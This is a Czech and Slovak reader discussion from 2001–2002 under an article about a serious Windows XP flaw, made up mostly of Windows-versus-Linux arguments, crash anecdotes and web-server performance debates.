Vážná chyba ve Windows XP

Diskuze čtenářů k článku

|_Kedys_|  |  18. 01. 2002 16:14

nenadávejte na Mikrouška :)MS  bože sakra :)) já věděl že jsi ....já používam 98 cku :) měl jsem problém WINme  hnusota jak svine :) vsecko je divný furt to chce novej comp  rok to vydrží a zase nové hry prográmky a vůbec jdu na pivo :)))

Souhlasím  |  Nesouhlasím  |  Odpovědět
Karlos  |  05. 01. 2002 13:16

Zkousel jste nekdo nastavit v NT full duplex?kdyz to udelam, tak to posila v tpc/ip asi tak 10packetu,to je drsny.na half duplex je to asi 1500(nebo tak nejak).je to na 10mbit.
M$ se k tomu vyjadruje tady (to datum)

Souhlasím  |  Nesouhlasím  |  Odpovědět
Karlos  |  05. 01. 2002 13:20

sorry

Souhlasím  |  Nesouhlasím  |  Odpovědět
Kombajn  |  30. 12. 2001 11:40

To je zvlastni... a ja mel za to ze nova WIN XP budou bezpecna, stabilni a ja nevm co jeste.. VZDYT TO MICROSOFT SLIBIL !!!!! 

Souhlasím  |  Nesouhlasím  |  Odpovědět
Petr J.  |  31. 12. 2001 00:58

to kombajn - no a kde je problém? Vždyť ta chyba v XP je bezpečná a stabilní (teda pokud ji nekazíte patchem)
:o)

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomáš Hofman  |  31. 12. 2001 15:59

to kombajn: Microsoft = sliby - chyby

to Petr J.: Skvela trefa!!

Souhlasím  |  Nesouhlasím  |  Odpovědět
Michal  |  29. 12. 2001 23:04

Tak koukam, ze je to tu zase, Linux vs. Windows .
Chyba je problem, ale to se preci da opravit, ne. Chybovat je lidske, je mi jasne, ze ted si rikate, ze MS dela chybu za chybou a pro vas je to neomluvitelne, ja jsem tolerantnejsi, tedy spis vic vydrzim. Staci kdyz reknu, zepouzivam MS ME a zainter. to staci aby vedeli, ze nemam lehky zivot . Chtel jsem byt zpravedlivi a nainstaloval jsem si na pocitac i RedHat 7.1 to abych mohl porovnavat. Nejdriv me prekvapila instalace sama, od posledniho pokusu s ver. 6 se mnohem zlepsila a nebylo pro mne temer problem to nainstalovat, i kdyz jsem to delal na dvakrat, protoze jsem delal chztraka co necte pokyny na obrazovce. Presto, po chvilce pouzivani jsem narazil na par problemku i v linuxu, nerikejte, ze je Linux bez problemu. Osobne se domnivam, ze kazdy system ma nejaky ten BUG.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Petr N  |  30. 12. 2001 11:30

Dobry den,

Mozna Vas po delsi dobe udrzby a administrace MS systemu ta tolerance prejde. (Nejsem Linuxak i kdyz Linux a nektere UNIXy trochu znam.) Po osmi letech administrace siti s MS systemy, jich zacinam mit plne zuby.

Mirne zlepseni v kvalite MS systemu je videt, ale uvital bych, kdyby MS zastavil na nejaky cas vyvoj novych systemu a opravil a poradne dodelal to co je jiz hotove.

Petr N

Souhlasím  |  Nesouhlasím  |  Odpovědět
hufhendr  |  02. 01. 2002 17:35

Staram se o cca 80 pocitacu s Windows NT4.0 a mohu potvrdit, ze je to opravdu pruda. Dnes mne napr. muj vlastni pocitac uvital "modrou obrazovkou smrti" a vypisem pameti. Hezke uvitani do noveho roku; ale ja uz jsem odolny a tak me to nemuze rozhodit.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Maarty  |  03. 01. 2002 11:04

Já se u M$ pohybuju už od doby dosu a musim říct, že se to furt jenom zhoršuje. Ještě tak win98 a pak už dost. V práci jsem nucenej dělat na win2000 a horší systém jsem neviděl. Furt to něco chce, má to nastavený naprosto nesmyslný defaultní parametry a když si něco chci nastavit sám, tak se musim proklikávat haldou menu. Doma mám čersvě Linux Mandrake a každej den jsem překvapenej jak to všech pěkně jede. Ano, když se snažim něco spustit (moc se v tom ještě nevyznám) tak mi to vypisuje nějaký hlášky a já zjišťuju, co jsem udělal špatně. Ale u Win ? Tam vyskočí akorát nějakej nesmysl s tlačitkem OK a to je vše. V tom bych viděl ten hlavní problém u win. Nic se z jejich chyb nedovíte a jak pak dál ?

ByeT

Souhlasím  |  Nesouhlasím  |  Odpovědět
Airwolf  |  04. 01. 2002 14:25

asi jste nezažil rychlost Mandrake 8.1 na Intel procesoru...pouhá změna náhledu při nastavování šetřice trvá !!!!!!!!!! kolem 30-120s!!!!!!!!!!!!...a to jsem mu dal 320MB RAM při Celeron 300A@450MHz...a ten problém měl i PIII...stačí mrknout na diskusi na http://www.mandrake.cz ...žádná sláva...

                    howgh...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Pepan  |  29. 12. 2001 18:42

Třeba jenom ten procesor x86 co umožnujě adresovat paměť v registrech někdy několika možnými způsoby. Pánové z Redmondu s tímto mohou mít potíže. Určitě také mají lexikální analyzátory překladače. Taky je to tím, zě se Windows vyvíjí podle přání dementního miliardáře. A tak je dementní taky.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Thailon  |  27. 12. 2001 10:30

Ja len nerozumiem, preco MS vydava tolko systemov a nuti uzivatelov novou licencnou politikou k nakupu uzivatelov (firmy). Preco radsej nedokoncia poriadne 2000ku ....

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomáš Hofman  |  28. 12. 2001 00:11

No a vy jste nekdy videl aby M$ neco dotahl?
Ja jsem jeste nic takoveho nevidel...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Petr  |  29. 12. 2001 15:52

Protoze potrebuje do nove verze co nejrychleji nacpat .NET

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jiri Kadel  |  26. 12. 2001 10:44

Chybicka se vzdycky vloudi, zadny programator neni panbuh. Nemusime zit v komunismu abz jsme vedeli ze zadara nikdo nebude delat vecne a kdyz jo tak to nebude asi to nejkvalitnejsi.

Co se tyce webserveru tak pro male hobby webiky Apache bohate staci, ale urcite nebude dosahovat pomale php a mysql na asp a sql2000 a to uz vubec nemluvim o aspx tam bych to neporovnaval uz vubec.

Dale admin na linuxu musi byt opravdu guru a zazrany do veci. kdyz tomu tak neni tak to dopadne tak jako na linuxovem
Hyperlinxsu..

Jako web programator zasadne volim Windows a at zije Bill Gates, kdo programoval v php a asp tak to potvrdi, teda jestil je uprimny !! Jinak by jsme se asi jen divali na ne zrovna user friendly sedivy linux a toho jsem si uzil za komousu azaz

Souhlasím  |  Nesouhlasím  |  Odpovědět
BruXy  |  26. 12. 2001 11:48

Co se tyce webserveru tak pro male hobby webiky Apache bohate stacino

...no v tech 60% celkoveho objemu ktery zabira http-server Apache, urcite par profi-webiku taky bude.

jako web programator zasadne volim Windows a at zije Bill Gates, kdo
programoval v php a asp tak to potvrdi, teda jestil je uprimny !!

...ja jako web programator volim zasadne Linux (snadna tvorba pdf, utilitky typu sed, awk, grep, a samozrejme ViM uz v zakladni distribuci). At zije GNU komunita!

Jinak by jsme se asi jen divali na ne zrovna user friendly sedivy
linux a toho jsem si uzil za komousu azaz

No muj desktopovy Gnome je trochu ocesanejsi, nepotrebuju aby okna hazela salta a ani jiny silenosti. Jinak parafraze o sedosti a komousich je sice zajimava, ale proc ma vetsina lidi stejne to zeleno-vyblity pozadi, nemuze si zmenit styl oken a pravidelne po dvou mesicich preinstalovava, aby se Win trosku vzpamatovali?

Btw. nejsem kutil, pokud bych do pul hodiny po zacatku instalace nemohl pracovat jako normalne, tak nevim...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jiri Kadel  |  26. 12. 2001 17:28

...no v tech 60% celkoveho objemu ktery zabira http-server Apache, urcite par profi-webiku taky bude.
to bych nerek, pouze v pripade ze napsana aplikace je v C++ a bezi na Oraclu(kde je cena okolo melounu).

1. Pokud porovnate nejake aplikace, ktera taha data z DB napsane v PHP a ASP vysledky namerenymi webstresem tak
vam vzdy vyjdou horsi v PHP.
2. Kdyz chci v asp zrychlit cast kodu, kde jsou napr. cykly tak si udelam jednoduse a rychle COM ve VB anebo superrychly COM v C++(v ATL je to celkem brnkacka), jak to udelam jednoduse v php? Neverim, ze ciste necahovana php app mohou unest vetsi zatizeni nez 10000pageviews/den, teda nejaka slozitejsi aplikace ne 5 radku kodu.
3. Jak vytvorim ulozenou proceduru v mySql aniz bych je vytvarel brutalne v C++, kde jsou transakce v MySql?

Nezlobte se ale me linuxaci pripadaji jako nejaka dogmaticka komunita, kterym se rekne, ze mySQL je rychlejsi nez MSSQL2000 a to protoze mySQL nema transakce a pak vsichni tomu veri

Souhlasím  |  Nesouhlasím  |  Odpovědět
sk  |  27. 12. 2001 10:06

"...no v tech 60% celkoveho objemu ktery zabira http-server Apache, urcite par profi-webiku taky bude.
to bych nerek, pouze v pripade ze napsana aplikace je v C++ a bezi na Oraclu(kde je cena okolo melounu)."
Hmm, iste...web na Apache jedine s C++ ;)) BTW. kod Apache tvori web-serverovu cast niekolkych high-end aplikacnych serverov (napr. Oracle AS - licencia $40,000 na procesor) a bezi tak na projektoch, kde derave IIS a MS technologoe nepadaju do uvahy uz len z bezpecnostnych dovodov...Nakoniec u high-end webov su podstatne uplne ine veci - bezpecnost, skalovatelnost, clustering, distribuovane transakcie, podpora na vykonnych serveroch (Unixy) atd. Vsetko veci, v ktorych su MS prebornici :)
K PHP sa vyjadrovat neviem - ale mam osobne skusenosti s Javou (J2EE) ako aj s ASP/COM(+)/MTS/VB... - a tie hovoria jasne v prospech Javy - a to najma co sa tyka skalovatelnosti, kvality kodu a stability. Benchmarky PHP vs. ASP nepoznam (iste to vy mate niecim podlozene) - ale poznam benchmarky JSP vs. ASP - napr. http://www.orionserver.com/benchmarks/benchmark.html
No a toto: "superrychly COM v C++(v ATL je to celkem brnkacka)" ma celkom pobavilo...len mi tak vrta v hlave, preco nikto v tom brnkacom ATL (resp. C++) web aplikacie nevyvija...:))

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jerry  |  27. 12. 2001 15:05

Tak nevim, me ty benchmarky pripadaji nejake podivne. Kdyz si vzpomenu, kolik pozadavku na podobny jednoduchy skript mi bez problemu zvladnul IIS na PII 333MHz, zda se mi, ze ten IIS nemeli zrovna optimalizovany. I kdyz porad to bylo znatelne min, nez udelal Orion. Na druhou stranu je podle mych zkusenosti nesmysl porovnavat rychlost aplikaci typu Hello world. U veci, ktere jsem zkousel takhle srovnat, vetsinou naskok Javy s narustem slozitosti kodu klesal. Druhou strankou veci je pohodli pri programovani; VBScript ma do objektove Javy podporujici multithreading, streamy, kontrolu datovych typu, vyjimky apod. dost daleko. Zajimava budou porovnani rychlosti s ASP.NET, C# se Jave dosti podoba (ostatne oba jazyky vychazeji z C++; nedavno jsem si zkousel prepsat jednu jednoduchou databazovou WWW aplikaci z Javy do ASP.NET, vetsinu casu mi zabraly zmeny velikosti pisem, popr. odmazavani zavorek ), ovsem na to si budeme muset pockat na ostrou verzi .NET Frameworku.

Souhlasím  |  Nesouhlasím  |  Odpovědět
sk  |  27. 12. 2001 15:42

iste, benchmarky su vzdy velmi osemetna vec, pokial nie su naozaj nezavisle. Aj ked, co si mam predstavit pod "optimalizovanym IIS" ? :) Na druhej strane "U veci, ktere jsem zkousel takhle srovnat, vetsinou naskok Javy s narustem slozitosti kodu klesal" - tak ja mam prave opacnu skusenost (ale viac menej iba zprostredkovane - osobne som ziadne komplexne porovnania nerobil) - tj. u veci typu Hello World minimalny rozdiel, pri komplexnom kode (ale najma pri velkej zatazi na slusnom HW) z toho Java vychadza lespie. Samozrejme pri porovnatelnom dizajne kodu - ak sa naplno vyuzivaju vsetky vyhody J2EE na sposob PetStore aplikacie (MVC, Entity EJB atd.), tak potom to samozrejme moze byt (resp. urcite bude) ine (a najma na stroji typu pII 333 ) - proste vzdy plati, ze clovek za iste vyhody zaplati inymi.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jerry  |  27. 12. 2001 16:47

Hmm, beru zpet ty podivne casy, dival jsem se na zdrojak a nevidel ho cely. Jsem ouplny blb. Takhle by ty casy mohly sedet. Faktem je jedna vec - stejne techniky programovani nejde u Javy a VBScriptu pouzit proste proto, ze jeden jazyk je prevazne proceduralni (alespon bez vyuziti COM), druhy objektovy, cili jde o to vyzdimat z daneho jazyka co se da. Tenhle bechmark byl vazne silne akademicky. Dalsi vec je, jaky aplikacni server je pro Javu pouzity; i v tech benchmarcich je to dost znat. V takovem pripade ovsem uz zacina hrat roli i cena. Mimochodem, sranda je ze v benchmarcich vetsinou nejsou zapocteny i staticke stranky, pritom specialne treba Tomcat taha napr. obrazky nebo HTML soubory mnohem pomaleji nez servlety, coz je na vyslednem zatizeni serveru znat. Budu si muset vyzkouset, jak je na tom v tomhle ohledu Orion.
Optimalizovane IIS - zapnuti bufferingu, vyhazeni prebytecnych ISAPI filtru, nastaveni izolace WWW aplikaci a spousta moznosti jak zasahnout do metabase (kdysi davno o prislusnych klicich psal Daniel Docekal na SnM, to to byl jeste celkem slusny technicky web). Vyladit se fakt jeste oproti tovarnim nastavenim da.
Jinak to PII uz od jara nemam, momentalne jedu a testuju na Duronu 900 s 256MB PC133. Hry na tom nehraju, takze mi bohate staci.
Mimochodem, ony v nasich podminkach stejne asi nemaji tyhle debaty smysl, ukazte mi kolik webu tady ma takove vytizeni aby to bylo fakt znat. Sranda je, ze i s timhle vedomim se snazim optimalizovat kde se da...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomáš Hofman  |  28. 12. 2001 00:01

Pevne doufam, ze Vas prispevek byl minen jako humorne zpestreni diskuze.
Pokud ne, tak jste
a) spadl z Marsu asi pred 5 minutama, nebo
b) podplaceny agitator M$, nebo
c) Bill Gate$ v prevleku
Preju hezky den...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Pnq  |  29. 12. 2001 14:22

Zdravim,

Napriklad GE v brzke dobe bude prechazet od MS IIS na jiny WWW server. Nevim jaky server to bude, ale zaslechl jsem, ze prave Apach. Duvod prechodu IIS je nezabezpeceny a nezabezpecitelny. Tech IIS serveru v intranetu GE je jiste nekolik tisic.

Pnq

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomáš Hofman  |  24. 12. 2001 01:59

Jak to tady tak sleduju, tak prestavame dikutovat a zacinam rychle blbnout.
Vypisovat chyby Linuxu od roku 97 a to i chyby, ktere se netykaji bezpecnosti (a mam takovy pocit, ze o tu zde jde) je rekneme... blbost, stejne jako dohady o tom kolik maji Wincky radku kodu (ja jsem napr cetl ze 3 miliony ).
Linux x Windows XX -- panove, nalejme sicisteho vina -- o takovem zaberu jaky ma Linux a obecne Unix se Winckam ani nezda a patrne jeste velmi dlou zdat nebude. Po x letech existence se konecne dostaly k symetrickemu multiprocesingu a dalsim ptakovinam, ktere na Unixu chodi od "nepameti", atd... Podivejte se -- tohle neni OS pro profesionalni nasazeni, stejne jako vetsina OS u kterych nevidite do zdrojaku, nebo kde si nemuzete rekompilovat jadro, coz je pokud me pamet neklame vysada MS produktu (kdyz opomenu Novell a IBM a par dalsich).
Asi ted vypadam, jako clovek, ktery nezna nic jineho nez Linux/Unix. Omyl -- tento prispevek pisu z Win ME s IE 5.5 -- ale je to proto, ze sedim doma a NEPOTREBUJU profi system, ale system, ktery pochopi i moje mati a na kterem si pusti svuj oblibeny mahjong bez prihlasovani a nejake hlubsi znalosti systemu -- tzn. pouzivam jej ciste jako amatersky software.
Takze predtim nez se zase zacnete dohadovat o tom, kolik ma ktery system der a kolikrat museli programatori pri psani zmacknout enter, uvedomte si prosim fakt, ze je to v podstate (draha) hracka (myslim Winy), pro deti do 16-ti let.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Lukas Gallina  |  26. 12. 2001 00:18

Tomasi;
nerika se ze rozdil mezi muzem a chlapcem je v tom ze muzi maji drazsi hracky?  Nebo tak nejak?

Ve mnoha myslenkach mas pravdu; problem vidim ale v tom: co je profesionalni system? Co je amatersky sw? Vyjdu-li z Tve myslenky, pak kazde auto je v podstate detska hracka, neb je prevazne vyuzivaji lide kteri neznaji jak funguje vevnitr, nemaji k nemu konstrukcni vykresy...cili jej pouzivaji jako amaterske priblizovadlo.... inu, detska hracka pro deti do 16-ti let. Tak ale proc jej smim ridit az od 18nacti?

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomáš Hofman  |  27. 12. 2001 23:54

V tom mate urcite pravdu... , ale preci jen -- kdyz si sednete do auta tak mate jakous takous jistotu, ze s Vama nevyleti v po 10 km do luftu. U winu bych si timhle zrovna moc jisty nebyl .
A mimoto -- k vete "...pak kazde auto je v podstate detska hracka, neb je prevazne vyuzivaji lide kteri neznaji jak funguje vevnitr, nemaji k nemu konstrukcni vykresy..." -- u amateru je pochopitelne, ze je nezajima jak veci funguji uvnitr (me taky nezajima jak uvnitr funguje treba alarm na aute), nicmene pokud to nekoho zajima a nema tuto moznost, pak bych si o danem sw dovolil tvrdit, ze neni uplne profesionalni... O to hur, kdyz je deravy a nestabilni... (no dobre XPcka uz jakousi stabilitu vykazuji, ale kam se zase hrabou vykonove, ze... . Mimoto srovnani auta a sw mi pripadne preci jen trochu zvlastni. Pri pouzivani auta se muzete zabit, pri pouzivani sw Vás muze leda trefit slak...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Lukas Gallina  |  30. 12. 2001 13:43

Ukazte mi tedy ktere systemy jsou profesionalni, kdyz profesionalitu systemu hodnotite podle toho zda mate kody. Napriklad ja povazuji Novell NetWare za jeden z nejlepsich sitovych OS co jsou ale kody jsem k tomu nikdy nevidel.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomáš Hofman  |  31. 12. 2001 15:50

Mno, nerad bych se dostal do roviny, kde bychom si sahodlouze ukazovali ktery OS je jaky, o to tady prece nejde...
Pokud ma dosavadni vystoupeni vyznivaji tak ze hodnotim OS podle toho jestli vidim do kodu, ci ne (a jak si tak po sobe nektere prispevky ctu, tak mam pocit, ze to tak skutecne muze vyznit), pak bych chtel tuto chybu napravit -- neposuzuju OS POUZE podle toho jestli maji otevreny kod, ale MIMOCHODEM. K Nowell NetWare -- zatim jsem se s nim v praktickem nasazeni setkal pouze jednou a to navic na siti, ktera mela server na Linuxu a workstationy na Win 95. Nicmene podle toho co jsem cetl (Hacking bez tajemstvi) je pomerne deravy -- mno asi to bude veci nazoru a nastaveni.
Osobne posuzuji OS podle stability, bezpecnosti, vykonu, ceny, podpory, uzivatelskeho rozhrani, atd... v uvedenem poradi a zde podle meho nazoru nejlepe vychazi UNIXove systemy obecne (nikoliv tedy pouze GNU/Linux) a komercni OS Microsoftu jako nejhorsi (pomery cena/vykon, cena/stabilita a cena/bezpecnost nejsou rozhodne nijak oslnujici .
Rovnez bych byl rad, aby bylo znamo, ze nestranim GNU/Linuxu, ale pouze spatne snasim Microsoft (at uz z jakychkoli duvodu).
Dekuji za upozorneni na jednostrane vyznivani mych prispevku...

Souhlasím  |  Nesouhlasím  |  Odpovědět
ja  |  26. 12. 2001 02:26

No, u nas doma namiesto Mahjongu leti Shisen-So, takze kto sa ho chce hrat, musi holt bootovat do Linuxu (a prihlasovat sa)...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomáš Hofman  |  27. 12. 2001 23:43

Souhlasim, to je i muj ideal, ale vysvetlujte to lidem, kteri kdyz vidi prikazovou radku tak vezou pocitac k doktorovi, jestli mu neco neni...
A pritom je jim uz dost pres 40 (stareho psa novym kouskum nenaucis -- zvlaste kdyz je pes stejne ucenlivy jako moje mati...

Souhlasím  |  Nesouhlasím  |  Odpovědět
network_gauner  |  22. 12. 2001 11:12

Vážení!

Před pár dny mi antivirák ohlásil že mám virus jménem Windows!!! nekecám

Chtěl jsem vypalovat ... najednou pár BSOD (Blue Screen Of Death ... modrý obrazovky smrti) ... a pak se ozvalo AVG6 ... hláška ... stajý okno v jakym to hlásí virus ... akorát v políčku jméno viru bylo "Windows internel error" ... bloklo to přístup k některejm systémovejm souborům ... blablabla ... pár BSOD ... a Wokna (98) mi zahlásily že chtěj přeinstalovat jinak prej odmítaj poslušnost

naštěstí jim stačilo domluvit a párkrát se pomodlit )

Ve jménu Otce, Syna i Duch svatého ... ENTER

 

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Banovec  |  22. 12. 2001 18:18

Nie si sam komu sa to stalo. HEH robim pod W98 s CD rom, zrazu komp zatuhne a potom zobrazi AVG spravu : byl nalezen virus (alebo tak nejak ja AVG nepouzivam) Windows internal error   a bola tam aj moznost LIECIT

Souhlasím  |  Nesouhlasím  |  Odpovědět
quartz  |  22. 12. 2001 09:48

jen tak na okraj - setkal jsem se s jedinou chybou v XP, ktera mi opravdu vadila....

Mam TNT2Pro (Elsa) s XP detonatory verze 5.13.01.2183 (opravdu jsou zrejme na prvni pokus... ) a protoze si nechavam posilat reporty z distributed.net klientu (RC-5/64), mam kazdy den nekolik stovek mailu. Pri pouziti Outlook Expresu 6 jsem se pokusil vymazat zhruba 1500 najednou a pocitac nejdrive zacal cukat mysi, pak na ni prestal reagovat (porad mazal) a pak jsem uvidel svoji prvni BSOD ve WXP. Napsal mi, ze driver nvidie se zacyklil a system jej zastavil. Stalo se mi to asi 3x, pak mi zrejme prisel nejaky update od MS a uz nic...

Mate nekdo podobne zkusenosti? myslim tedy chyby s kterymi jste se setkali, ne hypoteticka ohrozeni systemu pri pouziti UPNP a nejakeho arabskeho zakernaka ktery se vam dostane do firmy...
uvitam pripadne nejake poznatky.

S pozdravem, Quartz

Souhlasím  |  Nesouhlasím  |  Odpovědět
Viktor Janeba  |  22. 12. 2001 11:50

Jo. Mam GF2 a detonatory 23.11 mi delaly presne to same s mysi, akorat misto padani do BSOD prestala fungovat zvukovka. S rollbackem ovladace (jak je tohle prelozene v lokalizovanych XP?) problemy prestaly. Jojo, Detonatory 23.11 jsou lehce nedotazene.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Martin Drmola  |  21. 12. 2001 22:10

aha, tak Vy pochybujete, no to je pak jina, to teda urcite nemaj 300 tisic radku...

 

ne vazne, cetl jsem to na jakesi programatorske strance, bohuzel jiz nemam k dispozici zdroj :(

ale jak rikam-je to jen tak na okraj mimo diskusi...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Martin Drmola  |  21. 12. 2001 20:42

Ladislav Zezula: tech radku neni 300 milionu, ale 300 tisic, to jen tak na okraj....to by pak vychazely opravdu zajimave cifry  (nicmene win95 mely 20 tisic radky, kde ty "dobre" casy jsou...)

Souhlasím  |  Nesouhlasím  |  Odpovědět
Pavel Kotrč  |  21. 12. 2001 21:55

Silne pochybuji, ze WinXP maji POUZE 300 tisic radku...

Souhlasím  |  Nesouhlasím  |  Odpovědět
programator  |  22. 12. 2001 01:21

hehe to je absolutni blbost, vy jste evidentne v zivote nic neprogramoval 20k radku muze bejt stredni internetovy obchod, ne OS!

Souhlasím  |  Nesouhlasím  |  Odpovědět
Martin Drmola  |  23. 12. 2001 17:08

napsal jsem toho jiz opravdu dostatek na to, abych se pri vstrebani informace "20k radku muze bejt stredni internetovy obchod" zacal nepricetne valet po podlaze smichy.

jinak ty udaje jsem opravdu nepredlozil k akademicke diskusi, jsou to hole fakty :)))

Souhlasím  |  Nesouhlasím  |  Odpovědět
Libor Chocholatý  |  02. 01. 2002 12:51

Ted jsem spocital, ze jen jadro Linuxu 2.2.18 + patch Hedricka na IDE a ReiserFS ma celkem 2767494 radku zdrojaku. Myslim si, ze vasich 300tis radku Windows XP je ponekud mimo misu.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jiří Pavlíček  |  21. 12. 2001 20:16

Oni se zničí sami, ale bohužel to odnesou i jejich zákazníci.

Obvykle to ve světě funguje, že za _testovací_ verze se neplatí, ale tyto _testovací_ verze jsou dost drahé :(

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jiří Pavlíček  |  21. 12. 2001 20:23

Jo a zajímalo by mě, jestli si stále ještě starosta New Yorku pamatuje co prohlásil při uvedení nových Win XP ... Jestli ne, tak to bylo něco jako že Windows pomáhají chránit bezpečnost. Protože mu to dali manageři v bílých košilých na křídovém papíře, tak to asi bude pravda :(

Souhlasím  |  Nesouhlasím  |  Odpovědět
Lukas Gallina  |  21. 12. 2001 20:43

"Oni se zničí sami..."

Tohle za poslednich x let slysim asi po xxxxte. A zatim nic. To je ale smula, vidte

Souhlasím  |  Nesouhlasím  |  Odpovědět
Whill  |  21. 12. 2001 20:15

Ještě před časem hodně lidí (skoro všichni) vykřikovalo: WINDOWS XP - JAKÁ SUPER VĚC: STABILNÍ, HEZKÝ... a předháněli se, kdo má který build. Teď se můžu jenom smát a věřte mi, že tohle nebyla poslední díra (ehm, nebo spíše KRÁTER???). Můj názor je následující: Všechny Win (od 3.11 po XP) JSOU TOTÁLNÍ ****SHITY****.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Lukas Gallina  |  21. 12. 2001 20:45

Ještě před časem hodně lidí (skoro všichni) vykřikovalo: WINDOWS XP - JAKÁ SUPER VĚC: STABILNÍ, HEZKÝ...

A to snad neplati? Nevsimnul jsem si ze by moje Windows XP po nalezeni jedne bezpecnostni chyby kterou jeste nikdo nezneuzil a kterou jsem si prave zapatchoval byly mene super, mene stabilni a mene hezke

Všechny Win (od 3.11 po XP) JSOU TOTÁLNÍ ****SHITY****.

Pouzivejte tedy neco jineho nebo vytvorte neco co bude mensi shit, mozna zbohatnete. Ale spise ne.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Viktor Janeba  |  21. 12. 2001 22:41

Na tyhle lidi nema cenu reagovat. But jsou to narcisti, kteri radi ctou sve prispevky, nebo linuxovi/macOS/... fundamentalisti, a nejcasteji to byvaji takovi, co samozrejme maji nainstalovane warez Windows, ale pokrikuji vsude, jak je Bill okrada.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Whill  |  22. 12. 2001 14:19

Nikde jsem netvrdil, že nemám Windows. Samozřejmě, že mám. A zjakého důvodu? - nejširší možnost využití. Bohužel v současné době lepší možnost neexistuje

Souhlasím  |  Nesouhlasím  |  Odpovědět
Whill  |  22. 12. 2001 14:26

A ještě něco, pokud jsem někoho pohorši, tak se omlouvám, ale bohužel jsem se nemohl udržet - něco nového a všichni za tím letí jak pominutí, a Microsoft se směje od ucha k uchu... Vždyť se jen podívejte kolik megabajtíků obsahoval service pack pro w2k. A taky neříkám, že umím udělat lepší soft než Microsoft, to jste říkal vy. Samozřejmě že neumím, ale taky to nedělám.... zato Velký bratr ano...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Viktor Janeba  |  22. 12. 2001 17:24

Neee, ja to "az udelate neco lepe nez, tak..." nerikal, to kolega Gallina:).

No, je mi uplne jedno, co kde kdo napise o tom, jake jsou Win XP @*(@(@## (pokud to nejsou vecne pripominky ke konkretnim problemum). Ja je pouzivam a nazor jsem si udelal sam.

Souhlasím  |  Nesouhlasím  |  Odpovědět
WinShit  |  29. 12. 2001 18:13

No ja neviem čo ste tým chceli povedať, ale mne sa zdá že totálne shity boli Windows 1.0 až 2.0, ostatné sa pomaly ale isto lepšia.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Kamil  |  21. 12. 2001 15:30

Nevite jak se do tohoto systemu pridava protokol NetBEUI  ?

Souhlasím  |  Nesouhlasím  |  Odpovědět
Radek Jež  |  21. 12. 2001 10:33

Problém není v tom, že by si Mr.Soft nedokázal vybírat ty qualitní programátory, nýbrž v tom, že Usámovi se skutečně podařilo nasadit do Mr.Softu své lidi. Přepokládám, že počet zadních vrátek do systému bude poněkud vyšší a některé se pravděpodobně Mr.Softu ani nepodaří odhalit (zato hackerům pravděpodobně ano :). V každém případě pokud Usáma tímto způsobem zliquiduje firmu Mr.Soft, neudělá tím rozhodně nic opovrženíhodného. Pokud tímto vzniknou nějaké finanční ztráty firmám, které používají Oknows, je to problém těchto firem, bude to smutné, nicméně lidé by měli s tímto počítat a přizpůsobit se této situaci předem. Zejména je dobré používat firewally pod unixem resp. linuxem.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Pavel  |  21. 12. 2001 18:14

Jezisi kam na ty bludy chodite sytem W NT a W 2000 stejne jako W XP patri k jednem z nejbezpecnejsich systemu vubec a maji taky sve chyby ty jsou ale vzdy vcas opraveny. Nevim proc si myslite ze Linux je stabilnejsi a bezpecnejsi ve stabilite je W postaveno na NT snad vyse nez Linux a v bezpecnosti jak by smet, divil by jste se kolik ma vas slavny Linux potazmo Unix der!!!

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tuzok  |  21. 12. 2001 19:33

U Linuxu bych to viděl tak na ... žádnou 48 hodin po zveřejnění popisu.

Tohle MS samozřejmě nestíhá.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Lukas Gallina  |  21. 12. 2001 20:42

U Linuxu se take nepouzivaji X milionu kopii, nepodporuje takovy objem hardwaru a technologii a nesnazi se v nem hodinu po vydani najit chybu statisice lidi jako u Windows. Zkuste se nad tim zamyslet

Souhlasím  |  Nesouhlasím  |  Odpovědět
Martin Tomasek  |  22. 12. 2001 02:18

no, pokud se objevi chyba rekneme typu buffer overflow, tak je to otazka zmeny nekolika radek zdrojaku a rekompilace. prace na maximalne 10 minut. zajimalo by me, jakym zpusobem m$ dokaze z takove drobne upravy programu udelat chybu zasahujici vsechen dalsi hw podporovany windows. tohle je totiz tak jednoducha chyba, ze na tom v podstate neni co testovat.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Petr Šnajdr  |  22. 12. 2001 15:35

Lukáši,

díváš se na to z velice omezeného pohledu. Linux to z technického pohledu má s hardware mnohem obtížnější právě pro jeho odlišnost. To co popisuješ je PC centrický pohled, ale Linux není o PC. Pokud se v Linuxu najde nějaká chyba, může být pro vývojáře nezbytné se na ni podívat z pohledu všech podporovaných platforem a případně to nezkoplikovat tak, aby si neuzaveli cestu na nějakou platformu v budoucnu.

